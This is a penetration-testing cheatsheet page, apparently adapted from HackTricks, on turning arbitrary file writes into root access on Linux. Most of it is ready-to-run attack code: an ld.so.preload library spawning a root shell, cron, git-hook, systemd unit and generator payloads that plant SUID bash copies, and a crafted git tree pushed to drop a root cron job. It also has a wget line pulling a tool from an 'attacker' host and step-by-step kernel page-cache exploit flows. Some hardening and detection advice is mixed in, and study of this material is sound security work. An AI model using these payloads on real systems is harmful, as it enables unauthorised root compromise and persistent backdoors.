daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

write-to-root.md (26036B)


      1 ---
      2 title: "Arbitrary File Write to Root"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/interesting-files-permissions/write-to-root.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/write-to-root.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Arbitrary File Write to Root
     14 
     15 ### /etc/ld.so.preload
     16 
     17 `/etc/ld.so.preload` is a system-wide list of shared objects that the dynamic linker loads before other shared objects. Secure-execution mode applies additional restrictions to preloading, so a library path such as `/tmp/pe.so` is not a universal SUID-binary technique.\
     18 If you can create or modify it, a process that loads the file will load the listed library before its other shared objects, allowing code execution in that process's context.<sup>[[12]](#references)</sup>
     19 
     20 For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
     21 
     22 ```c
     23 #include <stdio.h>
     24 #include <sys/types.h>
     25 #include <stdlib.h>
     26 #include <unistd.h>
     27 
     28 void _init() {
     29     unlink("/etc/ld.so.preload");
     30     setgid(0);
     31     setuid(0);
     32     system("/bin/bash");
     33 }
     34 //cd /tmp
     35 //gcc -fPIC -shared -o pe.so pe.c -nostartfiles
     36 ```
     37 
     38 ### Git hooks
     39 
     40 **Git hooks** are executable scripts run for events in a repository, including commit and merge operations. If a **privileged script or user** performs those actions and an attacker can **write in the `.git` folder**, the hook can be used for **privilege escalation**.<sup>[[13]](#references)</sup>
     41 
     42 For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
     43 
     44 ```bash
     45 echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/0xdf' > pre-commit
     46 chmod +x pre-commit
     47 ```
     48 
     49 ### Privileged Git tree export path traversal
     50 
     51 A privileged synchronizer may avoid a checkout and instead enumerate an attacker-influenced repository with `git ls-tree`, read each blob with `git cat-file`, join the reported pathname to a staging directory, and write it itself. This becomes an **arbitrary file write with the synchronizer's privileges** when it combines `-c safe.directory=*` (disabling Git's different-owner repository guard) with no destination containment check. An absolute tree-entry name makes Python's `os.path.join(stage, name)` discard `stage`; a relative name containing `../` escapes when the filesystem resolves it. Because the application materializes the raw tree rather than asking Git to check it out, checkout-time pathname rejection never protects the sink.<sup>[[30]](#references)[[32]](#references)[[33]](#references)</sup>
     52 
     53 Look for this code shape in root services, timers, deployment agents, template importers, and backup/restore jobs:<sup>[[30]](#references)</sup>
     54 
     55 ```python
     56 entries = git("-c", "safe.directory=*", "ls-tree", "-rz", "HEAD")
     57 for mode, oid, git_path in parse(entries):
     58     target = os.path.join(stage_root, git_path)  # no containment check
     59     os.makedirs(os.path.dirname(target), exist_ok=True)
     60     with open(target, "wb") as output:
     61         output.write(git("cat-file", "blob", oid))
     62 ```
     63 
     64 A tree entry is encoded as `<mode> SP <name> NUL <raw object ID>`. The `git hash-object --literally` option deliberately permits object data that normal parsing or `git fsck` may reject, so a disposable clone can construct a tree whose filename is an absolute destination. This example creates a cron-file blob, wraps the crafted tree in a commit, and moves a branch to it; exploitation still requires permission to update a repository consumed by the privileged job and a Git server that accepts the malformed object.<sup>[[30]](#references)[[31]](#references)</sup>
     65 
     66 ```bash
     67 blob=$(printf '%s\n' '* * * * * root cp /bin/bash /tmp/rootbash && chmod 6755 /tmp/rootbash' | git hash-object -w --stdin)
     68 { printf '100644 /etc/cron.d/git-sync\0'; printf '%s' "$blob" | xxd -r -p; } > tree.raw
     69 tree=$(git hash-object -w -t tree --literally --stdin < tree.raw)
     70 commit=$(printf 'crafted tree\n' | git commit-tree "$tree")
     71 git update-ref refs/heads/main "$commit"
     72 git ls-tree -r main
     73 git push --force origin main
     74 ```
     75 
     76 Hardening must cover both repository ingestion and the final filesystem operation:<sup>[[30]](#references)[[33]](#references)[[34]](#references)</sup>
     77 
     78 - Replace `safe.directory=*` with the exact repositories the service must trust, and run repository processing without root privileges where possible.
     79 - Reject absolute names and any `.` or `..` component before materialization. After joining, canonicalize and verify that the destination remains beneath the intended root.
     80 - Avoid check-then-open symlink races: open relative to a trusted directory descriptor and, on Linux, use `openat2()` with `RESOLVE_BENEATH` plus `RESOLVE_NO_SYMLINKS` for attacker-controlled paths.
     81 - Prefer a normal checkout in an isolated directory over reimplementing checkout from plumbing output. If raw-object ingestion is required, enable receive-side validation such as `receive.fsckObjects=true`; do not downgrade the pathname-related `receive.fsck.*` findings needed to reject crafted trees.
     82 
     83 ### Cron & Time files
     84 
     85 If you can **write cron-related files that root executes**, you can usually get code execution the next time the job runs. Interesting targets include:<sup>[[14]](#references)[[20]](#references)</sup>
     86 
     87 - `/etc/crontab`
     88 - `/etc/cron.d/*`
     89 - `/etc/cron.hourly/*`, `/etc/cron.daily/*`, `/etc/cron.weekly/*`, `/etc/cron.monthly/*`
     90 - Root's own crontab in `/var/spool/cron/` or `/var/spool/cron/crontabs/`
     91 - `systemd` timers and the services they trigger
     92 
     93 Quick checks:
     94 
     95 ```bash
     96 ls -la /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null
     97 find /var/spool/cron* -maxdepth 2 -type f -ls 2>/dev/null
     98 systemctl list-timers --all 2>/dev/null
     99 grep -R "run-parts\\|cron" /etc/crontab /etc/cron.* /etc/cron.d 2>/dev/null
    100 ```
    101 
    102 Typical abuse paths:
    103 
    104 - **Append a new root cron job** to `/etc/crontab` or a file in `/etc/cron.d/`
    105 - **Replace a script** already executed by `run-parts`
    106 - **Backdoor an existing timer target** by modifying the script or binary it launches
    107 
    108 Minimal cron payload example:
    109 
    110 ```bash
    111 echo '* * * * * root cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4777 /tmp/rootbash' >> /etc/crontab
    112 ```
    113 
    114 If you can only write inside a cron directory used by `run-parts`, drop an executable file there instead:
    115 
    116 ```bash
    117 cat > /etc/cron.daily/backup <<'EOF'
    118 #!/bin/sh
    119 cp /bin/bash /tmp/rootbash
    120 chown root:root /tmp/rootbash
    121 chmod 4777 /tmp/rootbash
    122 EOF
    123 chmod +x /etc/cron.daily/backup
    124 ```
    125 
    126 Notes:
    127 
    128 - `run-parts` usually ignores filenames containing dots, so prefer names like `backup` instead of `backup.sh`.<sup>[[15]](#references)</sup>
    129 - Some systems use `systemd` timers instead of classic cron, but the abuse idea is the same: **modify what root will execute later**.<sup>[[20]](#references)</sup>
    130 
    131 ### Service & Socket files
    132 
    133 If you can write **`systemd` unit files** or files referenced by them, you may be able to get code execution as root by reloading and restarting the unit, or by waiting for the service/socket activation path to trigger.<sup>[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references)</sup>
    134 
    135 Interesting targets include:
    136 
    137 - `/etc/systemd/system/*.service`
    138 - `/etc/systemd/system/*.socket`
    139 - Drop-in overrides in `/etc/systemd/system/<unit>.d/*.conf`
    140 - Service scripts/binaries referenced by `ExecStart=`, `ExecStartPre=`, `ExecStartPost=`
    141 - Writable `EnvironmentFile=` paths loaded by a root service
    142 
    143 Quick checks:
    144 
    145 ```bash
    146 ls -la /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system 2>/dev/null
    147 systemctl list-units --type=service --all 2>/dev/null
    148 systemctl list-units --type=socket --all 2>/dev/null
    149 grep -R "^ExecStart=\\|^EnvironmentFile=\\|^ListenStream=" /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system 2>/dev/null
    150 ```
    151 
    152 Common abuse paths:
    153 
    154 - **Overwrite `ExecStart=`** in a root-owned service unit you can modify
    155 - **Add a drop-in override** with a malicious `ExecStart=` and clear the old one first
    156 - **Backdoor the script/binary** already referenced by the unit
    157 - **Hijack a socket-activated service** by modifying the corresponding `.service` file that starts when the socket receives a connection
    158 
    159 Example malicious override:
    160 
    161 ```ini
    162 [Service]
    163 ExecStart=
    164 ExecStart=/bin/sh -c 'cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4777 /tmp/rootbash'
    165 ```
    166 
    167 Typical activation flow:
    168 
    169 ```bash
    170 systemctl daemon-reload
    171 systemctl restart vulnerable.service
    172 # or trigger the socket-backed service by connecting to it
    173 ```
    174 
    175 If you cannot restart services yourself but can edit a socket-activated unit, you may only need to **wait for a client connection** to trigger execution of the backdoored service as root.<sup>[[17]](#references)</sup>
    176 
    177 ### systemd generator directories
    178 
    179 **System generators** are executables launched by the system manager before it loads unit files, both during boot and configuration reloads. Therefore, write access to a system-generator directory (or to an existing executable generator) is a direct root-code-execution primitive that is easy to miss when an audit checks only `*.service` and `*.timer` files.<sup>[[35]](#references)[[36]](#references)</sup>
    180 
    181 The usual search order is `/run/systemd/system-generators/`, `/etc/systemd/system-generators/`, `/usr/local/lib/systemd/system-generators/`, and `/usr/lib/systemd/system-generators/` (some distributions expose `/lib/systemd/system-generators/` through the `/usr` merge). An executable with the same name in an earlier directory shadows the later one. Do not confuse these **input executable directories** with `/run/systemd/generator`, `/run/systemd/generator.early`, and `/run/systemd/generator.late`, which contain transient unit output produced by generators.<sup>[[35]](#references)</sup>
    182 
    183 Quick checks:
    184 
    185 ```bash
    186 for d in /run/systemd/system-generators /etc/systemd/system-generators \
    187          /usr/local/lib/systemd/system-generators /usr/lib/systemd/system-generators \
    188          /lib/systemd/system-generators; do
    189     [ -e "$d" ] || continue
    190     namei -l "$d"
    191     find "$d" -maxdepth 1 -writable -ls 2>/dev/null
    192     getfacl -p "$d" "$d"/* 2>/dev/null
    193 done
    194 ```
    195 
    196 A newly created generator must have its executable bit set. If the write primitive controls bytes but not mode, target an already executable generator; truncating it in place normally preserves its metadata. If the directory itself is writable, create and mark a new entry executable.<sup>[[35]](#references)</sup>
    197 
    198 ```bash
    199 cat > /etc/systemd/system-generators/zz-update <<'EOF'
    200 #!/bin/sh
    201 cp /bin/bash /tmp/rootbash
    202 chown 0:0 /tmp/rootbash
    203 chmod 4755 /tmp/rootbash
    204 rm -f "$0"
    205 EOF
    206 chmod 755 /etc/systemd/system-generators/zz-update
    207 ```
    208 
    209 Triggering `systemctl daemon-reload` against the **system** manager requires suitable authorization, but it re-runs every system generator; otherwise wait for a privileged reload, package operation, or reboot. User-generator directories such as `~/.config/systemd/user-generators/` execute under the user manager and do **not** provide root by themselves.<sup>[[35]](#references)</sup>
    210 
    211 For hardening and hunting, verify every path component and ACL rather than only the final mode bits, baseline hashes/package ownership of generators, and alert on create, rename, content, or permission changes in all system-generator input directories. Monitoring the write is important because a one-shot generator can delete itself after execution, while the generated unit tree under `/run/systemd/generator*` is rebuilt on the next reload.<sup>[[35]](#references)[[36]](#references)</sup>
    212 
    213 ### Overwrite a restrictive `php.ini` used by a privileged PHP sandbox
    214 
    215 Some custom daemons validate user-supplied PHP by running `php` with a **restricted `php.ini`** (for example, `disable_functions=exec,system,...`). If the sandboxed code still has **any write primitive** (like `file_put_contents`) and you can reach the **exact `php.ini` path** used by the daemon, you can **overwrite that config** to lift restrictions and then submit a second payload that runs with elevated privileges.<sup>[[2]](#references)</sup>
    216 
    217 Typical flow:
    218 
    219 1. First payload overwrites the sandbox config.
    220 2. Second payload executes code now that dangerous functions are re-enabled.
    221 
    222 Minimal example (replace the path used by the daemon):
    223 
    224 ```php
    225 <?php
    226 file_put_contents('/path/to/sandbox/php.ini', "disable_functions=\n");
    227 ```
    228 
    229 If the daemon runs as root (or validates with root-owned paths), the second execution yields a root context. This is essentially **privilege escalation via config overwrite** when the sandboxed runtime can still write files.
    230 
    231 ### binfmt_misc
    232 
    233 `binfmt_misc` exposes registrations under `/proc/sys/fs/binfmt_misc`; each registration associates a file-type pattern with an interpreter. The privilege impact depends on who can change the registration and which process later executes the matching file, so verify those requirements before treating it as a privilege-escalation path.<sup>[[21]](#references)</sup>
    234 
    235 ### Overwrite schema handlers (like http: or https:)
    236 
    237 Desktop environments use MIME associations and desktop entries to choose an application for URI schemes; an attacker who can write the relevant per-user configuration and desktop-entry directories can redirect those schemes to a launcher they control. By modifying the `$HOME/.config/mimeapps.list` file to point HTTP and HTTPS URL handlers to a malicious file (for example, `x-scheme-handler/http=evil.desktop` and `x-scheme-handler/https=evil.desktop`), a user click can invoke that desktop entry.<sup>[[22]](#references)[[23]](#references)[[24]](#references)</sup>
    238 
    239 ```bash
    240 [Desktop Entry]
    241 Type=Application
    242 Name=Evil Desktop Entry
    243 Exec=/bin/sh -c "id > /tmp/mime-handler-pwned"
    244 MimeType=x-scheme-handler/http;x-scheme-handler/https;
    245 ```
    246 
    247 ### Root executing user-writable scripts/binaries
    248 
    249 If a privileged workflow runs something like `/bin/sh /home/username/.../script` (or any binary inside a directory owned by an unprivileged user), you can hijack it:<sup>[[1]](#references)</sup>
    250 
    251 - **Detect the execution:** monitor processes with pspy to catch root invoking user-controlled paths.<sup>[[25]](#references)</sup>
    252 
    253 ```bash
    254 wget http://attacker/pspy64 -O /dev/shm/pspy64
    255 chmod +x /dev/shm/pspy64
    256 /dev/shm/pspy64   # wait for root commands pointing to your writable path
    257 ```
    258 
    259 - **Confirm writeability:** ensure both the target file and its directory are owned/writable by your user.
    260 - **Hijack the target:** backup the original binary/script and drop a payload that creates a SUID shell (or any other root action), then restore permissions:
    261 
    262 ```bash
    263 mv server-command server-command.bk
    264 cat > server-command <<'EOF'
    265 #!/bin/bash
    266 cp /bin/bash /tmp/rootshell
    267 chown root:root /tmp/rootshell
    268 chmod 6777 /tmp/rootshell
    269 EOF
    270 chmod +x server-command
    271 ```
    272 
    273 - **Trigger the privileged action** (e.g., pressing a UI button that spawns the helper). When root re-executes the hijacked path, grab the escalated shell with `./rootshell -p`.
    274 
    275 ### Page-cache-only file modification of privileged binaries
    276 
    277 Some kernel bugs don't modify the file **on disk**. Instead, they let you modify only the **page cache copy** of a readable file. If you can target a **setuid** or otherwise **root-executed** binary, the next execution may run attacker-controlled bytes from memory and escalate privileges even though the file hash on disk is unchanged.<sup>[[3]](#references)[[4]](#references)</sup>
    278 
    279 This is useful to think about as a **runtime-only file write primitive**:<sup>[[3]](#references)</sup>
    280 
    281 - **Disk stays clean**: the inode and on-disk bytes do not change
    282 - **Memory is dirty**: processes reading/executing the cached page get the attacker-modified content
    283 - **Effect is temporary**: the change disappears after reboot or cache eviction
    284 
    285 This primitive sits between classic **arbitrary file write** and older **page-cache abuse** bugs such as Dirty COW / Dirty Pipe:<sup>[[3]](#references)</sup>
    286 
    287 - Dirty COW relied on a race
    288 - Dirty Pipe had write-position constraints
    289 - A page-cache-only primitive can be more reliable if the vulnerable path gives direct writes into cached file-backed pages
    290 
    291 #### Generic privesc flow
    292 
    293 1. Get a kernel primitive that can write into **file-backed page cache pages**
    294 2. Use it against a **readable privileged binary** or another root-executed file
    295 3. Trigger execution **before** the page is evicted from cache
    296 4. Get code execution as root while the on-disk file still looks unmodified
    297 
    298 Typical high-value targets:
    299 
    300 - **setuid-root** binaries
    301 - Helpers launched by **root services**
    302 - Binaries commonly executed from **containers sharing the host kernel/page cache**
    303 
    304 #### AF_ALG + `splice()` example path
    305 
    306 Copy Fail (CVE-2026-31431) is a good example of this class. The vulnerable path was in the Linux crypto userspace API (`AF_ALG` / `algif_aead`):<sup>[[3]](#references)[[4]](#references)[[5]](#references)[[6]](#references)[[7]](#references)</sup>
    307 
    308 - `splice()` can move references to page-cache pages from a readable file into the crypto TX scatterlist
    309 - the in-place `algif_aead` decrypt path reused source and destination buffers
    310 - `authencesn` then wrote into the destination tag region
    311 - when that region still referenced spliced file-backed pages, the write landed in the **page cache of the target file**
    312 
    313 So the interesting technique is not the CVE itself, but the pattern:
    314 
    315 - **feed file-backed cache pages into a kernel subsystem**
    316 - make the subsystem **treat them as writable output**
    317 - trigger a small controlled overwrite in memory
    318 
    319 The public PoC used repeated **4-byte writes** to patch `/usr/bin/su` in memory and then executed it.<sup>[[4]](#references)[[7]](#references)</sup>
    320 
    321 #### ESP / XFRM + netfilter TEE clone example path
    322 
    323 DirtyClone (CVE-2026-43503) shows another variant of the same **page-cache-only write-to-root** pattern, but this time the sink is **IPsec ESP decrypt** instead of `AF_ALG`.<sup>[[8]](#references)[[9]](#references)[[10]](#references)[[11]](#references)</sup>
    324 
    325 The important technique is the **metadata-laundering step**:
    326 
    327 - `splice()` places a **read-only file-backed page-cache page** into an ESP-in-UDP packet
    328 - the original DirtyFrag mitigation tagged that skb with `SKBFL_SHARED_FRAG` so `esp_input()` would **copy before decrypting**
    329 - netfilter `TEE` duplicates the packet through `nf_dup_ipv4()` -> `__pskb_copy_fclone()`
    330 - the clone keeps the **same physical page-cache reference** but loses `SKBFL_SHARED_FRAG`
    331 - `esp_input()` then treats the clone as safe and runs **in-place `cbc(aes)` decrypt** over the file-backed page
    332 
    333 So the reviewer lesson is broader than the CVE: if a mitigation depends on **skb/page metadata** to decide whether an operation must copy first, any **clone/copy path that preserves the backing page but drops the metadata** can silently re-open the write primitive.
    334 
    335 Typical exploitation flow:
    336 
    337 1. `unshare(CLONE_NEWUSER | CLONE_NEWNET)` to obtain **`CAP_NET_ADMIN` inside a private network namespace**
    338 2. bring loopback up and install a **netfilter `TEE` rule** in `mangle/OUTPUT`
    339 3. install **XFRM ESP transport SAs** via `NETLINK_XFRM`
    340 4. encode each target 4-byte word in the SA `seq_hi` field (DirtyFrag's word-selection trick)
    341 5. send the spliced ESP-in-UDP packet so the **TEE clone** reaches `esp_input()` and decrypts **in place**
    342 6. repeat until the page-cache copy of `/usr/bin/su` or another privileged executable contains attacker-controlled code
    343 
    344 Operationally, the impact is the same as the `AF_ALG` example: the file on disk stays clean, but `execve()` consumes the **mutated page-cache bytes** and yields root.<sup>[[8]](#references)[[9]](#references)</sup>
    345 
    346 Useful exposure checks for this variant:
    347 
    348 ```bash
    349 unshare -Urn true 2>/dev/null && echo "user+net namespaces available"
    350 sysctl kernel.apparmor_restrict_unprivileged_userns 2>/dev/null
    351 modprobe -n -v xt_TEE 2>/dev/null
    352 modprobe -n -v esp4 2>/dev/null
    353 modprobe -n -v esp6 2>/dev/null
    354 lsmod | egrep 'xt_TEE|nf_dup_ipv4|esp4|esp6|x_tables'
    355 ```
    356 
    357 Short-term attack-surface reduction is also path-specific here: upgrading to a kernel carrying `48f6a5356a33` fixes the clone path, while blocking `xt_TEE` autoload removes the **flag-laundering step** and blocking `esp4` / `esp6` removes the **decrypt sink**.<sup>[[8]](#references)[[9]](#references)[[10]](#references)[[11]](#references)</sup>
    358 
    359 #### Exposure and hunting
    360 
    361 If you suspect this class of bug, don't rely only on disk integrity checks. Also verify:
    362 
    363 ```bash
    364 uname -r
    365 grep CONFIG_CRYPTO_USER_API_AEAD= /boot/config-$(uname -r) 2>/dev/null
    366 lsmod | grep algif_aead
    367 find / -perm -4000 -type f 2>/dev/null
    368 ```
    369 
    370 The configuration values below distinguish a loadable interface from one built into the kernel; the crypto build rules map `CONFIG_CRYPTO_USER_API_AEAD` to `algif_aead`.<sup>[[26]](#references)[[27]](#references)</sup>
    371 
    372 - `CONFIG_CRYPTO_USER_API_AEAD=m`: `algif_aead` may be loadable/unloadable as a module
    373 - `CONFIG_CRYPTO_USER_API_AEAD=y`: the interface is built into the kernel
    374 - setuid binaries are good targets because a page-cache-only patch can be enough to turn a local foothold into root
    375 
    376 #### Attack-surface reduction for the `algif_aead` path
    377 
    378 If the vulnerable interface is provided by a loadable module:<sup>[[6]](#references)[[28]](#references)[[29]](#references)</sup>
    379 
    380 ```bash
    381 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
    382 rmmod algif_aead 2>/dev/null || true
    383 ```
    384 
    385 If it is compiled into the kernel, some disclosures reported blocking the init path with:<sup>[[28]](#references)</sup>
    386 
    387 ```bash
    388 initcall_blacklist=algif_aead_init
    389 ```
    390 
    391 This kind of mitigation is worth remembering for other kernel LPEs too: if exploitation depends on a specific optional interface, disabling or blacklisting that interface can break the exploit path even before a full kernel upgrade is available.<sup>[[6]](#references)[[28]](#references)</sup>
    392 
    393 
    394 ## References
    395 
    396 - [1] [HTB Bamboo – hijacking a root-executed script in a user-writable PaperCut directory](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html)
    397 - [2] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
    398 - [3] [Tenable: Copy Fail (CVE-2026-31431) FAQ](https://www.tenable.com/blog/copy-fail-cve-2026-31431-frequently-asked-questions-about-linux-kernel-privilege-escalation)
    399 - [4] [Openwall oss-security disclosure for CVE-2026-31431](https://www.openwall.com/lists/oss-security/2026/04/29/23)
    400 - [5] [Linux stable fix: crypto: algif_aead - Revert to operating out-of-place](https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5)
    401 - [6] [Copy Fail — CVE-2026-31431 advisory](https://copy.fail/)
    402 - [7] [Theori / Xint technical writeup](https://xint.io/blog/copy-fail-linux-distributions)
    403 - [8] [DirtyClone repository / README](https://github.com/rafaeldtinoco/security/tree/main/exploits/dirtyclone)
    404 - [9] [JFrog: Dissecting and Exploiting Linux LPE Variant DirtyClone (CVE-2026-43503)](https://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/)
    405 - [10] [Linux fix: net: skb: preserve `SKBFL_SHARED_FRAG` in `__pskb_copy_fclone()` (`48f6a5356a33`)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=48f6a5356a33)
    406 - [11] [Linux earlier mitigation: set `SKBFL_SHARED_FRAG` for spliced UDP packets (`f4c50a4034e6`)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e6)
    407 - [12] [ld.so(8) — Linux manual page](https://man7.org/linux/man-pages/man8/ld.so.8.html)
    408 - [13] [Git Hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)
    409 - [14] [crontab(5) — Linux manual page](https://man7.org/linux/man-pages/man5/crontab.5.html)
    410 - [15] [run-parts(8) — Debian manual page](https://manpages.debian.org/bookworm/debianutils/run-parts.8.en.html)
    411 - [16] [systemd.service](https://github.com/systemd/systemd/blob/main/man/systemd.service.xml)
    412 - [17] [systemd.socket](https://github.com/systemd/systemd/blob/main/man/systemd.socket.xml)
    413 - [18] [systemd.unit](https://github.com/systemd/systemd/blob/main/man/systemd.unit.xml)
    414 - [19] [systemd.exec](https://github.com/systemd/systemd/blob/main/man/systemd.exec.xml)
    415 - [20] [systemd.timer](https://github.com/systemd/systemd/blob/main/man/systemd.timer.xml)
    416 - [21] [binfmt_misc — The Linux Kernel documentation](https://www.kernel.org/doc/html/latest/admin-guide/binfmt-misc.html)
    417 - [22] [MIME Applications Associations](https://specifications.freedesktop.org/mime-apps/1.0.1/file.html)
    418 - [23] [Shared MIME-info specification](https://specifications.freedesktop.org/shared-mime-info/latest-single/)
    419 - [24] [Desktop Entry specification](https://specifications.freedesktop.org/desktop-entry/latest-single/)
    420 - [25] [pspy](https://github.com/DominicBreuker/pspy)
    421 - [26] [Kconfig Language](https://docs.kernel.org/kbuild/kconfig-language.html)
    422 - [27] [Linux crypto Makefile](https://raw.githubusercontent.com/torvalds/linux/master/crypto/Makefile)
    423 - [28] [CERT VU#260001: Linux kernel AF_ALG page cache vulnerability](https://kb.cert.org/vuls/id/260001)
    424 - [29] [modprobe(8) — Linux manual page](https://man7.org/linux/man-pages/man8/modprobe.8.html)
    425 - [30] [0xdf — HTB: Nexus](https://0xdf.gitlab.io/2026/09/02/htb-nexus.html)
    426 - [31] [Git `hash-object` documentation](https://git-scm.com/docs/git-hash-object)
    427 - [32] [Git `ls-tree` documentation](https://git-scm.com/docs/git-ls-tree)
    428 - [33] [Git configuration documentation](https://git-scm.com/docs/git-config)
    429 - [34] [`openat2(2)` — Linux manual page](https://man7.org/linux/man-pages/man2/openat2.2.html)
    430 - [35] [systemd generator documentation](https://github.com/systemd/systemd/blob/main/man/systemd.generator.xml)
    431 - [36] [Elastic Security Labs — Linux Detection Engineering: persistence mechanisms](https://www.elastic.co/security-labs/threat-command/primer-on-persistence-mechanisms)